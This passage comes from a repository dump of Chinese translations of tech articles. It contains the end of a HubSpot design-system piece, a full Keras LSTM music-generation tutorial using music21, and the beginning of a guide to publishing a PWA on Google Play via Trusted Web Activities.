UI 库的问题包含进来之后，我们不断地收到类似这样的反馈：\n\n> **100,000/10**\n> **我的天啊，前端 UI 框架实在是太美了，领先了任何现有的开源 react UI 框架好几年** \n\n我们的努力让文档系统变得完善，活跃的文档永远不会过时，但是像这样的反馈会帮助我们知道，我们还在正确的轨道上。\n\n### 自己来看一下吧\n\n下面来看一下你是如何可以迅速从一个提前做好的模板开始，使用我们 UI 库中的沙盒编辑器来构建一整个页面。\n\n* YouTube 视频链接：https://youtu.be/Jw__JImMhXE\n\n看，这就是我们的开发者如何使用 UI 库编辑器和我们的可复用的 React 组件来[构建和原型中一模一样](https://medium.com/hubspot-product/people-over-pixels-b962c359a14d)的页面。\n\n我们已经做了一个我们 [HubSpot Canvas UI 库](https://canvas.hubspot.com/)的公开版本。在这里面，你会找到我们组件和风格指导的一部分，直接从我们的产品代码中拉取出来的。这对了解我们在 HubSpot 是如何打造产品，提供了一个窗口，我们将它分享出来，是因为我们对于我们在开发我们的设计系统和为设计师和开发者们不断优化以让它保持长青上所付出的时间和努力感到很自豪。我们邀请你们来看一看并且分享你的想法 —— 我们等不及想听到它们了。\n\n**感谢 [Sue Yee](https://dribbble.com/suechews) 制作的插图**\n\n**最初发布在** [_HubSpot Product Blog_](https://product.hubspot.com/blog/how-to-gain-widespread-adoption-of-your-design-system)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-generate-music-using-a-lstm-neural-network-in-keras.md",
    "content": "> * 原文地址：[How to Generate Music using a LSTM Neural Network in Keras](https://towardsdatascience.com/how-to-generate-music-using-a-lstm-neural-network-in-keras-68786834d4c5)\n> * 原文作者：[Sigurður Skúli](https://medium.com/@sigurdurssigurg)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-generate-music-using-a-lstm-neural-network-in-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-generate-music-using-a-lstm-neural-network-in-keras.md)\n> * 译者：[HearFishle](https://github.com/HearFishle)\n> * 校对者：[xionglong58](https://github.com/xionglong58)、[JackEggie](https://github.com/JackEggie)\n\n# 如何在 Keras 中使用 LSTM 神经网络创作音乐\n\n![](https://cdn-images-1.medium.com/max/3840/1*evQj8gukICFrnBICeJvY0w.jpeg)\n\n## 介绍\n\n神经网络正在被使用去提升我们生活的方方面面。它们为我们提供购物建议，[创作一篇基于某作者风格的文档](http://www.cs.utoronto.ca/~ilya/pubs/2011/LANG-RNN.pdf)甚至可以被使用去[改变图片的艺术风格](https://arxiv.org/pdf/1508.06576.pdf)。近几年来，大量的教程集中于如何使用神经网络去创作文本但却鲜有教程告诉你如何创作音乐。在这篇文章中我们将介绍如何通过循环神经网络，使用 Python 和 Keras 库去创作音乐。\n\n对于那些没耐心的人，在结尾为你们提供了本教程的 Github 仓库的链接。\n\n## 背景\n\n在进入具体的实现之前必须先弄清一些专业术语。\n\n### 循环神经网络（RNN）\n\n循环神经网络是一类让我们使用时序信息的人工神经网络。之所以称之为循环是因为他们对数据序列中的每一个元素都执行相同的函数。每次的结果依赖于之前的运算。传统的神经网络则与之相反，输出不依赖于之前的计算。\n\n在这篇教程中，我们使用一个[**长短期记忆（LSTM）**](http://colah.github.io/posts/2015-08-Understanding-LSTMs/)神经网络。这类循环神经网络可以通过梯度下降法高效的学习。使用闸门机制，LSTM 可以识别和编码长期模式。LSTM 对于解决那些长期记忆信息的案例如创作音乐和文本特别有用。\n\n### Music21\n\n[Music21](http://web.mit.edu/music21/) 是一个被使用在计算机辅助音乐学的 Python 工具包。它使我们可以去教授音乐的基本原理，创作音乐范例并且学音乐。这个工具包提供了一个简单的接口去获得 MIDI 文件中的音乐谱号。除此之外，我们还能使用它去创作音符与和弦来轻松制作属于自己的 MIDI 文件。\n\n在这篇教程中我们将使用 Music21 来提取我们数据集的内容，获取神经网络的输出，再将之转换成音符。\n\n### Keras\n\n[Keras](https://keras.io/) 是一个 high-level 神经网络接口，它简化了和 [Tensorflow](https://www.tensorflow.org/) 的交互。它的开发重点是实现快速实验。\n\n在本教程中我们将使用 Keras 库去创建和训练 LSTM 模型。一旦这个模型被训练出来，我们将使用它去给我们的音乐创作音符。\n\n## 训练\n\n在本节中我们将讲解如何为我们的模型收集数据，如何整理数据使它能够在 LSTM 模型中被使用，以及我们模型的结构是什么。\n\n### 数据\n\n在 [Github 仓库](https://github.com/Skuldur/Classical-Piano-Composer)中，我们使用钢琴曲（展示），音乐主要由《最终幻想》中的音轨组成。选择《最终幻想》系列音乐，是因为它有很多部分，而且大部分的旋律都是清晰而优美的。而任何一组由单个乐器组成的 MIDI 文件都可以为我们服务。\n\n实现神经网络的第一步是检查我们要处理的数据。\n\n下面我们看到的是来自于一个被 Music21 读取后的 midi 文件的摘录：\n\n```\n...\n<music21.note.Note F>\n<music21.chord.Chord A2 E3>\n<music21.chord.Chord A2 E3>\n<music21.note.Note E>\n<music21.chord.Chord B-2 F3>\n<music21.note.Note F>\n<music21.note.Note G>\n<music21.note.Note D>\n<music21.chord.Chord B-2 F3>\n<music21.note.Note F>\n<music21.chord.Chord B-2 F3>\n<music21.note.Note E>\n<music21.chord.Chord B-2 F3>\n<music21.note.Note D>\n<music21.chord.Chord B-2 F3>\n<music21.note.Note E>\n<music21.chord.Chord A2 E3>\n...\n```\n\n这个数据被拆分成两种类型：[Note](http://web.mit.edu/music21/doc/moduleReference/moduleNote.html#note)（译者注：音符集）和 [Chord](http://web.mit.edu/music21/doc/moduleReference/moduleChord.html)（译者注：和弦集）。音符对象包括**音高**，**音阶**和音符的**偏移量**\n\n*  **音高**是指声音的频率，或者用 [A, B, C, D, E, F, G] 来表示它是高还是低。其中 A 是最高，G 是最低。\n\n*  **[音阶](http://web.mst.edu/~kosbar/test/ff/fourier/notes_pitchnames.html)** 是指你将选择在钢琴上使用哪些音高。 \n\n*  **偏移量**是指音符在作品的位置。\n\n而和弦对象的本质是一个同时播放一组音符的容器。\n\n现在我们可以看到要想精确创作音乐，我们的神经网络将必须有能力去预测哪个音符或和弦将被使用。这意味着我们的预测集将必须包含每一个我们训练集中遇到的音符与和弦对象。在 Github 页面的训练集上，不同的音符与和弦的数量总计达 352 个。这似乎交给了网络许多种可能的预测去输出，但是一个 LSTM 网络可以轻松处理它。\n\n接下来我得考虑把这些音符放到哪里了。正如大部分人听音乐时注意到的，音符的间隔通常不同。你可以听到一连串快速的音符，然后接下来又是一段空白，这时没有任何音符演奏。\n\n接下来我们从另外一个被 Music21 读取过的 midi 文件里找一个摘录，这次我们仅仅在它后面添加了偏移量。这使我们可以看到每个音符与和弦之间的间隔。\n\n```\n...\n<music21.note.Note B> 72.0\n<music21.chord.Chord E3 A3> 72.0\n<music21.note.Note A> 72.5\n<music21.chord.Chord E3 A3> 72.5\n<music21.note.Note E> 73.0\n<music21.chord.Chord E3 A3> 73.0\n<music21.chord.Chord E3 A3> 73.5\n<music21.note.Note E-> 74.0\n<music21.chord.Chord F3 A3> 74.0\n<music21.chord.Chord F3 A3> 74.5\n<music21.chord.Chord F3 A3> 75.0\n<music21.chord.Chord F3 A3> 75.5\n<music21.chord.Chord E3 A3> 76.0\n<music21.chord.Chord E3 A3> 76.5\n<music21.chord.Chord E3 A3> 77.0\n<music21.chord.Chord E3 A3> 77.5\n<music21.chord.Chord F3 A3> 78.0\n<music21.chord.Chord F3 A3> 78.5\n<music21.chord.Chord F3 A3> 79.0\n...\n```\n\n如这段摘录里所示，midi 文件里大部分数据集的音符的间隔都是 0.5。因此，我们可以通过忽略不同输出的偏移量来简化数据和模型。这不会太剧烈的影响神经网络创作的音乐旋律。因此我们将忽视教程中的偏移量并且把我们的可能输出列表保持在 352。\n\n### 准备数据\n\n既然我们已经检查了数据并且决定了我们要使用音符与和弦作为网络输出与输出的特征，那么现在就要为网络准备数据了。\n\n首先，我们把数据加载到一个数组中，就像下面的代码这样：\n\n```python\nfrom music21 import converter, instrument, note, chord\n\nnotes = []\n\nfor file in glob.glob(\"midi_songs/*.mid\"):\n    midi = converter.parse(file)\n    notes_to_parse = None\n\n    parts = instrument.partitionByInstrument(midi)\n\n    if parts: # 文件包含乐器\n        notes_to_parse = parts.parts[0].recurse()\n    else: # 文件有扁平结构的音符\n        notes_to_parse = midi.flat.notes\n\n    for element in notes_to_parse:\n        if isinstance(element, note.Note):\n            notes.append(str(element.pitch))\n        elif isinstance(element, chord.Chord):\n            notes.append('.'.join(str(n) for n in element.normalOrder))\n```\n\n使用 `converter.parse(file)` 函数，我们开始把每一个文件加载到一个 Music21 流对象中。使用这个流对象，我们在文件中得到一个包含所有的音符与和弦的列表。把数组符号贴到到每个音符对象的音高上，因为使用数组符号可以重新创造音符中最重要的部分。将每个和弦的 ID 编码成一个单独的字符串，每个音符用一个点分隔。这些代码使我们可以轻松的把由网络生成的输出解码为正确的音符与和弦。\n\n既然我们已经把所有的音符与和弦放入一个序列表中，我们就可以创造一个序列，作为网络的输入。\n\n![图 1: 当一个数据由分类数据转换成数值数据时，此数据被转换成了一个整数索引来表示某一类在一组不同值中的位置。例如，苹果是第一个明确的值，因此它被映射成 0。桔子在第二个因此被映射成 1，菠萝就是 3，等等](https://cdn-images-1.medium.com/max/2000/1*sM3FeKwC-SD66FCKzoExDQ.jpeg)\n\n图 1：当一个数据由分类数据转换成数值数据时，此数据被转换成了一个整数索引来表示某一类在一组不同值中的位置。例如，苹果是第一个明确的值，因此它被映射成 0。桔子在第二个因此被映射成 1，菠萝就是 3，等等。\n\n首先，我们将写一个映射函数去把字符型分类数据映射成整型数值数据。这么做是因为神经网络处理整型数值数据（的性能）远比处理字符型分类数据好的多。图 1 就是一个把分类转换成数值的例子。\n\n接下来，我们必须为网络及其输出分别创建输入序列。每一个输入序列对应的输出序列将是第一个音符或者和弦，它在音符列表的输入序列中，位于音符列表之后。\n\n```python\nsequence_length = 100\n\n# 得到所有的音高名称\npitchnames = sorted(set(item for item in notes))\n\n# 创建一个音高到音符的映射字典\nnote_to_int = dict((note, number) for number, note in enumerate(pitchnames))\n\nnetwork_input = []\nnetwork_output = []\n\n# 创建输入序列和与之对应的输出\nfor i in range(0, len(notes) - sequence_length, 1):\n    sequence_in = notes[i:i + sequence_length]\n    sequence_out = notes[i + sequence_length]\n    network_input.append([note_to_int[char] for char in sequence_in])\n    network_output.append(note_to_int[sequence_out])\n\nn_patterns = len(network_input)\n\n# 整理输入格式使之与 LSTM 兼容\nnetwork_input = numpy.reshape(network_input, (n_patterns, sequence_length, 1))\n# 归一化输入\nnetwork_input = network_input / float(n_vocab)\n\nnetwork_output = np_utils.to_categorical(network_output)\n```\n\n在这段示例代码汇总，我们把每一个序列的长度都设为 100 个音符或者和弦。这意味着要想去在序列中去预测下一个音符，网络已经有 100 个音符来帮助预测了。我极其推荐使用不同长度的序列去训练网络然后观察这些不同长度的序列对由网络产生的音乐的影响。\n\n为网络准备数据的最后一步是将输入归一化处理并且 [one-hot 编码输出](https://machinelearningmastery.com/why-one-hot-encode-data-in-machine-learning/)。\n\n### 模型\n\n最后我们来设计这个模型的架构。在模型中我们使用到了四种不同类型的层：\n\n**LSTM 层**是一个循环的神经网络层，它把一个序列作为输入然后返回另一个序列（返回序列的值为真）或者一个矩阵。\n\n**Dropout 层**是一个正则化规则，这其中包含了在训练期间每次更新时将输入单位的一小部分置于 0，以防止过拟合。它由和层一起使用的参数决定。\n\n**Dense 层**或 **fully connected 层**是一个完全连接神经网络的层，这里的每一个输入节点都连接着输出节点。\n\n**The Activation 层**决定使用神经网络中的哪个激活函数去计算输出节点。\n\n```python\nmodel = Sequential()\n    model.add(LSTM(\n        256,\n        input_shape=(network_input.shape[1], network_input.shape[2]),\n        return_sequences=True\n    ))\n    model.add(Dropout(0.3))\n    model.add(LSTM(512, return_sequences=True))\n    model.add(Dropout(0.3))\n    model.add(LSTM(256))\n    model.add(Dense(256))\n    model.add(Dropout(0.3))\n    model.add(Dense(n_vocab))\n    model.add(Activation('softmax'))\n    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n```\n\n既然我们有关于不同层的一些信息，那就把它们加到神经网络的模型中。\n\n对于每一个 LSTM，Dense 和 Activation 层，第一个参数是层里应该有多少节点。对于 Dropout 层，第一个参数是输入单元中应该在训练中被舍弃的输入单元的片段。\n\n对于第一层我们必须提供一个唯一的，名字是 *input_shape* 的参数。这个参数决定了网络中将要训练的数据的格式。\n\n最后一层应该始终包含和我们输出不同结果数量相同的节点。这确保网络的输出将直接映射到我们的类里。\n\n在这里我们将使用一个简单的，包含三个 LSTM 层、三个 Dropout 层、两个 Dense 层和一个 activation 层的网络。我推荐调整网络的结构，观察你是否可以提高预测的质量。\n\n为了计算每次迭代的损失，我们将使用 [分类交叉熵]，(https://rdipietro.github.io/friendly-intro-to-cross-entropy-loss/)因为我们每次输出属于一个简单类并且我们有不止两个以上的类在为此工作。为了优化网络我们将使用 RMSprop 优化器。通常对于循环神经网络，使用它算是一个好的选择。\n\n```python\nfilepath = \"weights-improvement-{epoch:02d}-{loss:.4f}-bigger.hdf5\"    \n\ncheckpoint = ModelCheckpoint(\n    filepath, monitor='loss', \n    verbose=0,        \n    save_best_only=True,        \n    mode='min'\n)    \ncallbacks_list = [checkpoint]     \n\nmodel.fit(network_input, network_output, epochs=200, batch_size=64, callbacks=callbacks_list)\n```\n\n一旦我们决定了网络的结构，就应该开始训练了。使用 Kearas 里的 `model.fit()` 函数来训练网络。第一个参数是我们早前准备的输入序列表，而第二个参数是它们各自输出的列表。在本教程中我们将训练网络进行 200 次迭代，每一个批次都是通过包含了 60 个分支的网络增殖的。\n\n为了确保我们可以在任何时间点停止训练而不会将之前的努力付之东流，我们将使用 model checkpionts（模型检查点）。它为我们提供了一种方法，把每次迭代之后的网络节点的权重保存到一个文件中。这使我们一旦对损失值满意了就可以停掉神经网络而不必担心失去权重值。否则我们必须一直等待直到网络完成所有的 200 次迭代次数才能把权重保存到文件中。\n\n## 创作音乐\n\n既然我们已经完成了训练网络，是时候享受一下我们花了几个小时训练的网络了。\n\n为了能用神经网络去创作音乐，你得把它恢复到原来的状态。简言之我们将再次使用训练部分中的代码，用之前的方式去准备数据和建立网络模型。这并不是重新训练网络，而是把之前网络中的权重加载到模型中。\n\n```python\nmodel = Sequential()\nmodel.add(LSTM(\n    512,\n    input_shape=(network_input.shape[1], network_input.shape[2]),\n    return_sequences=True\n))\nmodel.add(Dropout(0.3))\nmodel.add(LSTM(512, return_sequences=True))\nmodel.add(Dropout(0.3))\nmodel.add(LSTM(512))\nmodel.add(Dense(256))\nmodel.add(Dropout(0.3))\nmodel.add(Dense(n_vocab))\nmodel.add(Activation('softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='rmsprop')\n\n# 给每一个音符赋予权重\nmodel.load_weights('weights.hdf5')\n```\n\n现在我们可以使用训练好的模型去开始创作音符了。\n\n因为我们有一个完整的音符序列表，我们将在列表中选择任意一个索引作为起始点，这允许我们不需要做任何修改就能重新运行代码并且每次都能返回不同的结果。但是，如果希望控制起始点，只需用命令行参数替换随机函数即可。\n\n这里我也需要写一个映射函数去编码网络的输出。这个函数将数值数据映射成分类数据（把整数变成音符）。\n\n```python\nstart = numpy.random.randint(0, len(network_input)-1)\n\nint_to_note = dict((number, note) for number, note in enumerate(pitchnames))\n\npattern = network_input[start]\nprediction_output = []\n\n# 生成 500 个音符\nfor note_index in range(500):\n    prediction_input = numpy.reshape(pattern, (1, len(pattern), 1))\n    prediction_input = prediction_input / float(n_vocab)\n\n    prediction = model.predict(prediction_input, verbose=0)\n\n    index = numpy.argmax(prediction)\n    result = int_to_note[index]\n    prediction_output.append(result)\n\n    pattern.append(index)\n    pattern = pattern[1:len(pattern)]\n```\n\n我们选择使用网络去创作 500 个音符是因为这大约是两分钟的音乐，而且给了网络充足的空间去创造旋律。想要制作任何一个音符我们都必须给网络提交一个序列。我们提交的第一个序列是开始位置的音符序列。对于我们用作输入的每个后续序列，我们将删除序列的第一个音符，并在序列末尾插入上一个迭代的输出，如图 2 所示。\n \n![图 2: 第一个输入列是 ABCDE。把它入网络得到的输出是 F。对于下一次的迭代，我们把 A 从列表里移除，并把 F 追加进去。然后重复这步骤。](https://cdn-images-1.medium.com/max/2000/1*lsMVJ484dEqIVMFyJ1gV2g.jpeg)\n\n图 2：第一个输入列是 ABCDE。我们依靠网络从流里得到的输出是 F。对于下一次的迭代，我们把 A 从列表里移除，并把 F 追加进去。然后重复这步骤。\n\n为了从网络的输出中确定出最准确的预测，我们抽取了值最大的索引。输出汇数组中，索引为 *X* 的列可能对应于下一个音符的 *X*。图三帮助解释这个。\n\n![图 3: 我们看到在一个从网络到类的输出预测的映射。正如我们看到的，下一个值最可能是 D，因此我们选择 D 最为最可能的类。](https://cdn-images-1.medium.com/max/2000/1*YpnnaPA1Sm8rzTR4N2knKQ.jpeg)\n\n图 3：我们看到在一个从网络到类的输出预测的映射。正如我们看到的，下一个值最可能是 D，因此我们选择 D 为最可能的音高集合。\n\n之后我们把网络的所有输出搜集，放到一个单一数组中。\n\n既然我们有了数组中所有的音符与和弦的编码，我们可以开始解码它们并且创造一个音符与和弦对象的数组。\n\n首先必须确定我们解码后的输出是音符还是和弦。\n\n如果模式是**和弦**，我们必须将音符串拆分成一组音符。然后我们循环遍历每个音符的字符串表示，并为每个音符创建一个音符对象。然后我们可以创建一个包含每个音符的和弦对象。\n\n如果输出是一个**音符**，我们使用模式中包含的音高字符串表示创建一个音符对象。\n\n在每次迭代的结尾我们增加 0.5 的偏移时间并且把音符/和弦对象追加到一个列表中。\n\n```python\noffset = 0\noutput_notes = []\n\n# 基于模型生成的值来创建音符与和弦\n\nfor pattern in prediction_output:\n    # 输出是和弦\n    if ('.' in pattern) or pattern.isdigit():\n        notes_in_chord = pattern.split('.')\n        notes = []\n        for current_note in notes_in_chord:\n            new_note = note.Note(int(current_note))\n            new_note.storedInstrument = instrument.Piano()\n            notes.append(new_note)\n        new_chord = chord.Chord(notes)\n        new_chord.offset = offset\n        output_notes.append(new_chord)\n    # 输出是音符\n    else:\n        new_note = note.Note(pattern)\n        new_note.offset = offset\n        new_note.storedInstrument = instrument.Piano()\n        output_notes.append(new_note)\n\n    # 增加每次迭代的偏移量使音符不会堆叠\n    offset += 0.5\n```\n\n在用网络创造音符与和弦的列表之后，我们可以使用这个列表创造一个 Music21 流对象，它使用此列表作为一个参数。最后，为了创建包含网络生成的音乐的 MIDI 文件，我们使用 Music21 工具包中的 *write* 函数将流写入文件中。\n\n```python\nmidi_stream = stream.Stream(output_notes)\n\nmidi_stream.write('midi', fp='test_output.mid')\n```\n\n### 结果\n\n现在是见证奇迹的时刻。图 4 包含了一页通过 LSTM 神经网络创作的音乐乐谱。瞅一眼就能看到它的结构，这在第二页的第三行到最后一行尤为明显。\n\n有音乐常识，能阅读乐谱的人呢可以看到在这一页里有一些奇怪的音符。这就是网络不能创作完美的旋律的结果。在我们目前的成果里将总会有一些错误的音符。如果想获得更好的结果我们得有更大的网络才行。\n\n![图 4:通过 LSTM 网络生成的乐谱](https://cdn-images-1.medium.com/max/2836/1*tzfrAkHCbGjBXA5ZOthjrw.png)\n\n图 4:通过 LSTM 网络生成的乐谱\n\n这个相对较浅的网络的结果仍然令人印象深刻，从示例音乐中可以听到。对于那些感兴趣的人来说，图 4 中的乐谱代表了神经网络创作音乐迈出了一大步。\n\n[https://w.soundcloud.com/player/?referrer=https%3A%2F%2Ftowardsdatascience.com%2Fmedia%2Fd721bab5c62c8061387ced1869dcdf5b%3FpostId%3D68786834d4c5&amp;show_artwork=true&amp;url=http%3A%2F%2Fapi.soundcloud.com%2Fplaylists%2F362886486](https://w.soundcloud.com/player/?referrer=https%3A%2F%2Ftowardsdatascience.com%2Fmedia%2Fd721bab5c62c8061387ced1869dcdf5b%3FpostId%3D68786834d4c5&amp;show_artwork=true&amp;url=http%3A%2F%2Fapi.soundcloud.com%2Fplaylists%2F362886486)\n\n## 未来的工作\n\n我们用一个简单的 LSTM 网络和 352 个音高实现了这个非凡的成果。不过，有一些地方还有待提高。\n\n首先，目前实现的结果不支持音符的多种音长和音符间的偏移。我们要为添加为不同音长服务的音高和代表音符停顿时间的音调。\n\n为了通过增加音调来获得满意的结果我们也必须增加 LSTM 网络的深度，这需要性能更高的计算机去完成。我自用的笔记本电脑大约需要两个小时去训练网络。\n\n第二，为乐章增加前奏和结尾。现在网络在两个乐章之间没有间隔，网络不知道一个章节的结尾和另一个的开始在哪里。这允许网络从前奏到结束地创作一个章节而不是像现在这样突然的结束创作。\n\n第三，增加一个方法去处理未知的音符。目前的情况是如果网络遇到一个它不认识的音符，它就会返回状态失败。解决这个方法的可能方案是去寻找一个和未知音符最相似的音符或者和弦。\n\n最后，为数据集增加更多的乐器（的音乐）。现在网络仅仅支持只有一种单一乐器的作品。如果可以扩展到一整个管弦乐队那将会是非常有趣的。\n\n## 结语\n\n在本教程中我们演示了如何创建一个 LSTM 神经网络去创作音乐。也许这个结果不尽如人意，但它们还是让人印象深刻。而且它向我们展示了，神经网络可以创作音乐并且可以被用来帮助人们创作更复杂的音乐作品。\n\n[在 GitHub 仓库查看本教程](https://github.com/Skuldur/Classical-Piano-Composer)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-get-a-progressive-web-app-into-the-google-play-store.md",
    "content": "> * 原文地址：[How to Get a Progressive Web App into the Google Play Store](https://css-tricks.com/how-to-get-a-progressive-web-app-into-the-google-play-store/)\n> * 原文作者：[Mateusz Rybczonek](https://css-tricks.com/author/mateuszrybczonek/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-get-a-progressive-web-app-into-the-google-play-store.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-get-a-progressive-web-app-into-the-google-play-store.md)\n> * 译者：[Baddyo](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[linxiaowu66](https://github.com/linxiaowu66), [Xuyuey](https://github.com/Xuyuey)\n\n# 如何在 Google Play 应用商店中发布 PWA\n\n[PWA（Progressive Web Apps，渐进式网络应用）](https://developers.google.com/web/progressive-web-apps/)已经面世了有一段时间了。然而，每当我向客户介绍 PWA 时，他们都会问同样的问题：“我的客户能从应用商店下载安装这种 PWA 吗？” 以前的答案是不能，但自从 Chrome 72 发布之后答案就不一样了，因为该版本增加了一种叫做 [TWA（Trusted Web Activities，受信式网络应用）](https://developers.google.com/web/updates/2019/02/using-twa)的新功能。\n\n> **TWA** 使用一种全新的方式来集成你的 Web 应用内容（比如 PWA）到 Android 应用，它使用了一种基于 Custom Tabs 的协议。\n\n在本文中，我会借助 [Netguru](https://www.netguru.com/) 现有的 PWA（[Wordguru](https://wordguru.netguru.com/)）来逐步说明如何使 PWA 支持直接从 Google Play 应用商店安装。\n\n对 Android 开发者来说，某些我们将要提及的内容可能听起来很傻，但本文是从前端开发者的角度来写的，特别是没有用过 Android Studio 或者做过 Android 应用的前端开发者。同时要注意，我们在本文中探讨的很多概念都仅支持 Chrome 72 及以上版本，因此很有实验性、很超前。\n\n### 步骤一：配置一个 TWA 项目\n\n配置 TWA 并不需要写 Java 代码，但你需要安装 [Android Studio](https://developer.android.com/studio/)（译者注：原文给出的 Android Studio 链接打不开，可访问 [https://developer.android.google.cn/studio](https://developer.android.google.cn/studio)）。如果你之前开发过 iOS 或 Mac 软件，那你会感觉到 Android Studio 非常像 Xcode，它提供了良好的开发环境，旨在简化 Android 开发过程。那么，快去安装吧，咱们稍后再见。\n\n#### 在 Android Studio 中新建一个 TWA 项目\n\n把 Android Studio 安装妥当了吗？嗯……我也听不到你的回答，就当你已经装好了吧。打开 Android Studio，点击 “开始一个新的 Android Studio 项目（Start a new Android Studio project）”。在这里，我们选择 “不添加 Activity（Add No Activity）” 选项，以便我们手动配置项目。\n\n尽管配置过程相当直观，但还是要明白下面这些概念：\n\n* **名称（Name）**：应用的名称（我敢打赌你肯定知道这个）。\n* **包名称（Package name）**：Android 应用在 [Play 应用商店](https://play.google.com)的[唯一标识](https://developer.android.com/guide/topics/manifest/manifest-element#package)。这个包名称必须是独一无二的，因此我建议你用 PWA 的 URL 的倒序字符串（如 `com.netguru.wordguru`）。\n* **保存位置（Save location）**：项目在本地的保存位置。\n* **语言（Language）**：允许你选择一门特定的编程语言，但因为我们用到的应用已经是写好的了，所以此项不用设置。保留默认选项 —— Java —— 就好。\n* **最低 API 版本（Minimum API level）**：这是我们用到的 Android API 版本，支持库（后面会说到）需要该配置项。我们选择 API 19 版本。\n\n在这些选项下面还有几个复选框。它们与本次实践无关，所以让它们保持未选中状态，然后点击 “完成（Finish）”。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/s_B0873689EA50413EA11DE0E251C79D95AC091600D224AE9E30EBEB80DF5C9068_1550759941286_Screenshot2019-02-21at15.38.48.png)\n\n#### 添加 TWA 支持库\n\nTWA 不能没有支持库。好在我们仅需修改两个文件就行了，并且这两个文件都在同一个项目文件夹中：`Gradle Scripts`。它们俩的文件名都是 `build.gradle`，但我们可以通过圆括号中的描述文字区分二者。\n\n![](https://css-tricks.com/wp-content/uploads/2019/04/play-02.jpg)\n\n在此我要介绍一款 Android 应用专用的 Git 包管理工具，叫做 [JitPack](https://jitpack.io/)。它功能很强大，而最基本的功能就是可以让应用的发布变得轻而易举。虽然它是付费服务，但如果这是你首次在 Google Play 应用商店发布应用，我得说这笔开销物有所值。\n\n**笔者提示**：这里不是给 JitPack 打广告。之所以值得一提，是因为本文是写给不熟悉 Android 应用开发或者没有在 Google Play 应用商店发布过应用的人看的，本文读者使用它来管理一个与应用商店直连的 Android 应用代码库会很轻松。言外之意，这个工具并非开发必需品。\n\n打开 JitPack 后，就可以把自己的项目接入了。打开刚才看到的 `build.gradle (Project: Wordguru)` 文件，做如下修改以便让 JitPack 管理应用代码库。\n\n```javascript\nallprojects {\n  repositories {\n    ...\n    maven { url 'https://jitpack.io' }\n    ...\n  }\n}\n```\n\n现在打开另一个 `build.gradle` 文件。我们可在此文件中添加项目所需的依赖包，当然我们确实要添加一个：\n\n```javascript\n// build.gradle (模块：app)\n\ndependencies {\n  ...\n  implementation 'com.github.GoogleChrome:custom-tabs-client:a0f7418972'\n  ...\n}\n```\n\nTWA 使用 Java 8 的功能，因此我们要启用 Java 8。我们要在刚才的文件中添加 `compileOptions` 字段：\n\n```javascript\n// build.gradle (模块：app)\n\nandroid {\n  ...\n  compileOptions {\n    sourceCompatibility JavaVersion.VERSION_1_8\n    targetCompatibility JavaVersion.VERSION_1_8\n  }\n  ...\n}\n```\n\n还要添加 `manifestPlaceholders` 这一组变量，我们在下一小节再细说它们。就目前而言，权且先把下列代码加上，用来定义应用的托管域名、默认 URL 和应用名称：\n\n```javascript\n// build.gradle (模块：app)\n\nandroid {\n  ...\n  defaultConfig {\n    ...\n    manifestPlaceholders = [\n      hostName: \"wordguru.netguru.com\",\n      defaultUrl: \"https://wordguru.netguru.com\",\n      launcherName: \"Wordguru\"\n    ]\n    ...\n  }\n  ...\n}\n```\n\n#### 在 Android 应用配置清单（Manifest）中提供应用细节\n\n每个 Android 应用都有一个 [Android 应用说明（Android App Manifest）](https://developer.android.com/guide/topics/manifest/manifest-intro)，它提供了应用的基本细节，例如操作系统支持、包信息、设备兼容性以及其他诸多信息，这些信息有助于 Google Play 应用商店显示该应用的运行条件。\n\n这里我们真正关心的是 [Activity](https://developer.android.com/guide/topics/manifest/activity-element)（`<activity>`）。Activity 被用于实现用户界面，代表的正是 “TWA” 中的 “A”。\n\n有趣的是，我们在 Android Studio 中配置项目时，却选择了 “不添加 Activity（Add No Activity）” 选项，那是因为我们的应用说明是空的，只包含应用标签。\n\n先打开 manifest 